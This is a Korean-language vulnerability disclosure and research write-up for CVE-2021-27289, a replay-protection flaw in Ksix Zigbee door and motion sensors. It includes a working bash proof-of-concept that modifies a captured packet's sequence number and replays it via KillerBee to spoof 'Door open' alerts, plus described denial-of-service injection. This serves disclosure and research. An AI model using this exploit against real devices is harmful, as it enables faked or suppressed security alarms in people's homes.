
CVE-2021-27289: Ksix Zigbee 기기에서 재생 보호 우회
안녕하세요 여러분,
제 생각에 전문적인 방법은 이 저장소의 이름을 원래대로 짓는 일이었을 거예요. 명확하고, 서술적이며, 요점을 바로 찌르는 이름이요. 하지만 정리하다 보니 몇 가지 다른 제목들이 떠오르더군요. 예를 들어:
어쨌든, 지금부터 그 이야기입니다.
새로운 취약점을 공개할 준비를 하던 중, 몇 년 전에 작업했던 일이 떠올랐습니다. Thread나 Zigbee 같은 IoT 프로토콜을 연구하면서 졸업 프로젝트로 발견했던 버그 말이죠. 당시 MITRE에 보고서를 보냈지만 답변을 받지 못해서 그냥 무시된 줄 알았습니다.
호기심이 생겨 제출할 때 사용했던 예전 Gmail 계정에 다시 로그인해 보았습니다. 그런데 놀랍게도 3년 후인 2023년에 실제로 CVE가 할당되어 있었습니다.
CVE-2021-27289, 제가 학생 때 신고했던 취약점과 연결된 CVE입니다.
왜 그렇게 오래 걸렸을까요? 처음에 벤더에 연락했을 때, 그들은 수정할 인력이 충분하지 않다고 하면서 그 변명만 반복했습니다. 저는 MITRE에 아무도 조치를 취하지 않는 것 같다고 알렸고, 아마 그들은 기다렸던 것 같습니다. 어차피 이 문제는 패치될 일이 없었을 테니까요.
이 버그는 Ksix가 만든 여러 Zigbee 기반 IoT 장치에 영향을 미쳤습니다. 핵심 문제는 Zigbee 사양에 정의되고 프레임 카운터를 통해 적용되는 재생 보호 메커니즘이 제대로 구현되지 않았다는 점이었습니다.
장치들이 프레임 카운터를 올바르게 확인하지 않았기 때문에, 공격자는 시퀀스 번호를 장치가 마지막으로 본 값보다 높은 값으로 증가시키는 것만으로 네트워크와 통신하고 패킷을 위조할 수 있었습니다. 이를 통해 캡처한 메시지를 재생하여 유효한 메시지로 받아들이도록 만들 수 있었으며, 사실상 인증 우회가 가능했습니다.
이 저장소에는 제 졸업 프로젝트에서 작업한 모든 내용이 포함되어 있습니다:
Ksix Zigbee IoT 장치는 Zigbee의 재생 보호 메커니즘을 잘못 구현하여 발생하는 재생 공격 취약점의 영향을 받습니다.
다음 버전은 테스트 결과 취약한 것으로 확인되었습니다. 이후 버전은 테스트하지 않았으므로 이 역시 영향을 받을 수 있습니다.
이 제품들은 벤더 웹사이트나 Amazon 같은 플랫폼에서 더 이상 구할 수 없으며, 단종된 것으로 보입니다.
영향받는 장치의 Zigbee 스택은 Zigbee 사양에 정의된 프레임 카운터 필드에 의존하는 재생 보호 메커니즘을 제대로 적용하지 않습니다. 이 필드는 수신된 메시지가 새로운 것이며 재생된 것이 아님을 보장하기 위한 것입니다.
그러나 이 구현에서는 프레임 카운터가 무시되거나 제대로 검증되지 않습니다. 그 결과 공격자는 정상적인 Zigbee 패킷을 캡처하고, 시퀀스 번호를 더 높은 값(예: 250)으로 증가시킨 다음 네트워크에 재생할 수 있습니다.
장치들이 시퀀스 번호만 확인하기 때문에 메시지를 새로운 것으로 받아들이게 되며, 인증이나 암호화를 깨지 않아도 위조된 통신과 승인되지 않은 동작이 가능해집니다.
장치 유형과 환경에 어떻게 통합되었는지에 따라, 사용자가 네트워크를 설정할 때 사용했던 앱에 가짜 알림이나 위조된 센서 상태(예: 움직임 감지, 문 열림)가 표시될 수 있습니다. 실제로는 아무 일도 일어나지 않았는데도 말이죠. 더 복잡한 구성에서는 위조된 데이터를 기반으로 자동화 워크플로를 불안정하게 만들거나 의도하지 않은 동작을 트리거할 수도 있습니다.
이 장치들은 일반적으로 Tuya Smart 같은 앱이나 유사한 플랫폼을 사용하여 구성됩니다. 이러한 앱은 센서가 트리거될 때(예: 문이 열리거나 움직임이 감지될 때) 사용자에게 실시간으로 알림을 보냅니다. 물리적 사건이 실제로 발생하지 않더라도, 바로 이 때문에 아래 공격이 특히 효과적입니다.
이 특정 재생 취약점의 직접적인 영향은 제한적이지만, 제 졸업 프로젝트에서 탐구한 것처럼 프로토콜에 대한 더 깊은 이해는 최소한의 리소스로 수행할 수 있는 더 고급 공격 시나리오를 드러냅니다.
#!/bin/bash
function usage(){ echo -e "\nUsage: $0 [ZigbeeChannel] [SecuenceNumber] [HexDumpFile] [ShortSource] [ExtendedSource] [ShortDestination] [ShortPanId] [FCS]" echo -e "Example: $0 11 250 Open_Door_Alert_Hex_Dump 0x0001 11:ff:11:ff:11:ff:11:ff 0x0000 0x3333 0x0000 \n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function message(){ echo -e "\nProof of Concept" echo -e "There is an incorrect check of the "sequence number" field on Ksix Zigbee devices\n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function poc_playback(){ # Variables ZIGBEE_CHANNEL=$1 SECUENCE_NUMBER=$2 HEX_DUMP_FILE=$3 SHORT_SOURCE=$4 EXTENDED_SOURCE=$5 SHORT_DESTINATION=$6 SHORT_PAN_DESTINATION=$7 FRAME_CHECK_SECUENCE=$8 declare -a first_line_array declare -a second_line_array declare -a last_line_array # Change packet fields while IFS= read -r line do if [[ "$line" == "0000"* ]]; then IFS=' ' read -ra first_line_array <<< "$line" first_line_array[0]+=" " first_line_array[3]=$( printf "%x" $SECUENCE_NUMBER ) first_line_array[4]=${SHORT_PAN_DESTINATION:4:2} first_line_array[5]=${SHORT_PAN_DESTINATION:2:2} first_line_array[6]=${SHORT_DESTINATION:4:2}; first_line_array[11]=${SHORT_DESTINATION:4:2} first_line_array[7]=${SHORT_DESTINATION:2:2}; first_line_array[12]=${SHORT_DESTINATION:2:2} first_line_array[8]=${SHORT_SOURCE:4:2}; first_line_array[13]=${SHORT_SOURCE:4:2} first_line_array[9]=${SHORT_SOURCE:2:2}; first_line_array[14]=${SHORT_SOURCE:2:2} echo "${first_line_array[@]}" > Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0010"* ]]; then IFS=' ' read -ra second_line_array <<< "$line" second_line_array[0]+=" " second_line_array[7]=${EXTENDED_SOURCE:21:2}; second_line_array[8]=${EXTENDED_SOURCE:18:2} second_line_array[9]=${EXTENDED_SOURCE:15:2}; second_line_array[10]=${EXTENDED_SOURCE:12:2} second_line_array[11]=${EXTENDED_SOURCE:9:2}; second_line_array[12]=${EXTENDED_SOURCE:6:2} second_line_array[13]=${EXTENDED_SOURCE:3:2}; second_line_array[14]=${EXTENDED_SOURCE:0:2} echo "${second_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0030"* ]]; then IFS=' ' read -ra last_line_array <<< "$line" last_line_array[0]+=" " last_line_array[11]=${FRAME_CHECK_SECUENCE:4:2} last_line_array[12]=${FRAME_CHECK_SECUENCE:2:2} echo "${last_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump else echo "$line" >> Check_Secuence_Number_Incorrectly_HEX_Dump fi done < $HEX_DUMP_FILE # Hex Dump file to pcap text2pcap Check_Secuence_Number_Incorrectly_HEX_Dump Check_Secuence_Number_Incorrectly.pcap # Playback zbreplay --channel $ZIGBEE_CHANNEL --pcapfile Check_Secuence_Number_Incorrectly.pcap && echo -e "\nPacket sent to the network. Poc Completed.\n" }
function main(){ if [ $# -lt 8 ]; then echo -e "\n\t Missing arguments" usage exit else message poc_playback $1 $2 $3 $4 $5 $6 $7 $8 fi }
main $1 $2 $3 $4 $5 $6 $7 $8
#NOTE: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".
<div id='vulnerability-demo-videos'/>
### ***🎥 데모 영상***
- [YouTube 동영상 - CVE-2021-27289: Ksix Zigbee 기기 재생 공격 (개요 + 기존 데모)]() - 곧 공개됩니다. 2020년에 녹화했던 원본 데모를 다시 업로드할 예정이며, 이번에는 환경 구성과 공격 과정 등을 설명하는 해설을 곁들일 예정입니다.
---
---
---
<div id='original-blog-post'/>
## ***📝 원본 블로그 게시글***
원본 블로그 게시글은 2020년에 당시 제 메인 개인 웹사이트에 게시되었습니다(아, 그때 그 시절이여 😅). 당시 저는 MITRE에 CVE를 요청하고, 개념 증명(PoC) 익스플로잇을 Exploit-DB에 제출하며, 데모 영상을 게시하기 위한 기술 문서를 공유했습니다(지금은 다른 YouTube 계정으로 다시 업로드했습니다).
아래에서 보실 내용은 그 원본 게시글을 약간 재구성한 버전입니다.
<div id='original-blog-post-researcher'/>
### ***👤 연구자***
22세의 Alejandro Vázquez Vázquez, 막 사이버 보안을 진지하게 받아들이기 시작한 사람으로, 열정을 천천히 직업으로 만들어 가고 있었습니다.
<div id='original-blog-post-zigbee-basics'/>
### ***📡 Zigbee 기초***
Zigbee에 익숙하지 않다면 제 논문이나 IEEE 802.15.4 전체 사양을 읽으실 필요는 없습니다. 대신 프로토콜을 확실히 이해하는 데 도움이 될 훌륭한 자료들을 추천합니다:
- [Kudelski Security Research - ZigBee Security: Basics (Part 1)](https://research.kudelskisecurity.com/2017/11/01/zigbee-security-basics-part-1/)
- [Kudelski Security Research - ZigBee Security: Basics (Part 2)](https://research.kudelskisecurity.com/2017/11/08/zigbee-security-basics-part-2/)
- [Kudelski Security Research - ZigBee Security: Basics (Part 3)](https://research.kudelskisecurity.com/2017/11/21/zigbee-security-basics-part-3/)
- [Payatu - Zigbee Security 101 (Architecture and Security Issues)](https://payatu.com/blog/zigbee-security-101-architecture-and-security-issues/)
- [Hong Kong Computer Emergency Response Team Coordination Centre (HKCERT) - Device (ZigBee) Security Study](https://www.hkcert.org/f/guideline/264461/3a1c8eed-012c-4b59-9d9e-971001d66c77-DLFE-14602.pdf)
<div id='original-blog-post-background-and-motivation'/>
### ***💡 배경 및 동기***
졸업 프로젝트를 위해 저는 대학에서 다소 이례적인 주제를 선택했습니다. 애플리케이션을 개발하는 대신 통신 프로토콜의 연구와 분석에만 집중한 것입니다. 이 길을 선택한 이유는 그 당시 제가 중요하다고 생각했던 분야, 즉 IoT 기기의 보안을 탐구할 수 있었기 때문입니다.
제 작업은 Zigbee와 Thread 프로토콜, 그리고 그 기반이 되는 IEEE 802.15.4에 초점을 맞췄습니다. 충분한 기술 문서와 학술 연구를 검토한 후에는 실제 기기로 직접 테스트를 진행하며, 해당 분야에서 알려진 취약점을 재현하고 분석하는 것을 목표로 삼았습니다.
<div id='original-blog-post-early-experiments'/>
### ***🔍 초기 실험***
테스트는 Zigbee 모션 센서로 시작했습니다. 스푸핑된 제어 메시지, 특히 일반적으로 Zigbee 구성 매개변수를 재설정하는 데 사용되는 네트워크 재정렬(network realignment) 프레임에 기기가 어떻게 반응하는지 확인하고 싶었습니다. 재구성을 시뮬레이션하기 위해 네트워크에 해당 프레임을 주입했고, 그 결과는 성공적이었습니다. 센서는 (네트워크를 구성하는 데 사용했던) 모바일 앱에서 여전히 "연결됨"으로 표시되었지만, 실제로는 코디네이터와의 통신이 끊어져 수동으로 재설정해야 했습니다. 이를 통해 기기가 강력한 검증 없이 특정 패킷을 수용하고 있음을 알 수 있었습니다.
이 결과에 고무된 저는 재생 공격으로 넘어갔습니다. 스니퍼를 사용하여 도어 센서의 표준 Zigbee 메시지(예: "문 열림", "문 닫힘")를 캡처했습니다. Zigbee 네트워크를 재설정한 후, 필드를 전혀 수정하지 않고 해당 패킷을 재생했습니다. 놀랍게도 모바일 앱은 마치 문이 방금 열리거나 닫힌 것처럼 실시간 알림을 발생시켰습니다. 단지 이전에 캡처한 메시지를 재생했을 뿐인데도 말이죠.
이를 통해 재생 공격을 방지하기 위해 설계된 보호 메커니즘이 이 기기들에서 구현되지 않았거나 제대로 작동하지 않고 있음이 확인되었습니다.
<div id='original-blog-post-discovery'/>
### ***💥 발견***
이 시점에서 저는 오래된 패킷 재생이 왜 통했는지 더 잘 이해하고 싶었습니다. Zigbee는 이러한 공격을 방지하기 위해 두 가지 핵심 필드를 정의합니다. 메시지가 전송될 때마다 증가하는 프레임 카운터(frame counter)와 중복 감지를 돕는 시퀀스 번호(sequence number)입니다.
그래서 두 가지 모두 실험하기 시작했습니다.
먼저 약 50개의 유효한 패킷을 캡처하여 네트워크에 재생했습니다. 이전과 마찬가지로 여러 알림이 수신되었습니다. 그런 다음 각 패킷의 프레임 카운터를 훨씬 더 높은 값으로 수정하고 다시 시도했습니다. 이번에는 아무 일도 일어나지 않았습니다. 알림이 전혀 없었습니다. 그래서 어떤 종류의 검사가 수행되고는 있지만 일관적이지 않다는 의심이 들었습니다.
더 깊이 파고들기 위해 Zigbee 네트워크를 다시 재설정하고, 프레임 카운터 대신 시퀀스 번호에 집중했습니다. 동일하게 캡처한 메시지를 재생하되, 일반 기기가 하듯이 각 패킷의 시퀀스 번호를 점진적으로 증가시켰습니다.
효과가 있었습니다.
모바일 앱에 다시 알림이 뜨기 시작했습니다. 그때 저는 기기들이 패킷이 새로운 것인지 판단할 때 시퀀스 번호만 신뢰하고, 재생 공격을 방지하기 위해 명시적으로 설계된 필드인 프레임 카운터를 완전히 무시하고 있을 가능성이 크다는 것을 깨달았습니다.
이 결함은 더 새로운 시퀀스 번호를 가진 패킷을 계속 보내는 한, 가짜 메시지를 네트워크에 계속 주입할 수 있고 기기들이 이를 정상적인 메시지로 받아들인다는 것을 의미했습니다.
따라서 열악한 구현, 또는 아마도 코디네이터(Zigbee 게이트웨이)의 제한된 처리 성능 때문에, 저는 단순히 네트워크의 무선 범위 안에 있는 것만으로 "문 열림"이나 "문 닫힘" 같은 이전에 캡처한 메시지를 재생할 수 있었습니다. 그러면 이러한 스푸핑된 이벤트는 실제로 방금 발생한 것처럼 모바일 앱에 그대로 표시되었습니다.
<div id='original-blog-post-exploitation'/>
### ***🧨 악용***
이 취약점을 악용하는 것은 매우 간단합니다:
유효한 Zigbee 프레임을 캡처하고, 시퀀스 번호를 더 높은 값으로 변경한 다음 재생하면 됩니다. 수신 기기는 메시지를 수락하고, 사용자는 실제 활동이 있었다고 믿으며 앱에서 실시간 알림을 받게 됩니다.
일부 테스트에서는 기기 통신을 방해하여 센서가 앱에서는 "온라인" 상태로 유지되지만 응답하지 않게 만들 수도 있었습니다. 이는 물리적 보안 시나리오에서 위험할 수 있습니다.
<div id='original-blog-post-lab-setup'/>
### ***🔬 실험실 구성***
테스트는 2020년에 Ksix가 제조한 Zigbee 기반 IoT 기기들로 구성된 소규모 실험실에서 수행되었습니다. 당시 다음 모델과 펌웨어 버전에서 취약점이 확인되었습니다:
- Zigbee Gateway Module – v1.0.3
- Gateway Main Module – v1.1.2
- Door Sensor – v1.0.7
- PIR Motion Sensor – v1.0.12
공격을 수행하고 Zigbee 트래픽을 캡처하기 위해 다음 도구를 사용했습니다:
- APImote, IEEE 802.15.4 네트워크용 USB 하드웨어 스니퍼
- KillerBee Framework, 패킷 캡처, 주입 및 분석에 사용
이 구성 덕분에 실제 환경과 유사한 상호 작용을 시뮬레이션하고, 트래픽 흐름을 분석하며, 통제된 환경에서 서비스 거부(DoS) 및 재생 공격 시나리오를 모두 테스트할 수 있었습니다.
<div id='original-blog-post-related-research'/>
### ***📚 관련 연구***
이 자리를 빌려 제 길을 쉽게 만들어 주신 모든 연구자분들께 감사드립니다. 연구자분들의 논문을 통해 이러한 유형의 IoT 네트워크에서 가장 흔한 공격 벡터와 취약점을 배울 수 있었습니다:
- [Fan, X., Susan, F., Long, W., & Li, S. (2017). Security Analysis of Zigbee.](https://www.semanticscholar.org/paper/Security-Analysis-of-Zigbee-Fan-Susan/3d1d5a51d05cde08b6e52afd5bd7bc325b487a10?p2df)
- [Zillner, T. (2016). ZigBee Exploited: The good, the bad and the ugly.Magdeburger Journal zur Sicher-heitsforschung,12, 699–704.](https://www.blackhat.com/docs/us-15/materials/us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly.pdf)
- [Sokullu, R., Korkmaz, I., Dagdeviren, O., Mitseva, A., & Prasad, N. R. (2007). An Investigation on IEEE 802.15.4 MAC Layer Attacks. In Proceedings of The 10th International Symposium on Wireless Personal Multimedia Communications (WPMC) 2007 (pp. 1019-1023).](https://www.researchgate.net/publication/4373276_On_the_IEEE_802154_MAC_layer_attacks_GTS_attack)
- [R. Sokullu, O. Dagdeviren and I. Korkmaz, "On the IEEE 802.15.4 MAC Layer Attacks: GTS Attack," 2008 Second International Conference on Sensor Technologies and Applications (sensorcomm 2008), Cap Esterel, 2008, pp. 673-678, DOI: 10.1109/SENSORCOMM.2008.75.](https://ieeexplore.ieee.org/document/4622738)
- [M. S. Wara and Q. Yu, "New Replay Attacks on ZigBee Devices for Internet-of-Things (IoT) Applications," 2020 IEEE International Conference on Embedded Software and Systems (ICESS), Shanghai, China, 2020, pp. 1-6, DOI: 10.1109/ICESS49830.2020.9301593.](https://ieeexplore.ieee.org/document/9301593)
- [Olawumi, Olayemi & Haataja, Keijo & Asikainen, M. & Vidgren, Niko & Toivanen, Pekka. (2014). Three Practical Attacks Against ZigBee Security: Attack Scenario Definitions, Practical Experiments, Countermeasures, and Lessons Learned.. 2014 14th International Conference on Hybrid Intelligent Systems, HIS 2014. DOI: 10.1109/HIS.2014.7086198.](https://www.researchgate.net/publication/276272068_Three_Practical_Attacks_Against_ZigBee_Security_Attack_Scenario_Definitions_Practical_Experiments_Countermeasures_and_Lessons_Learned)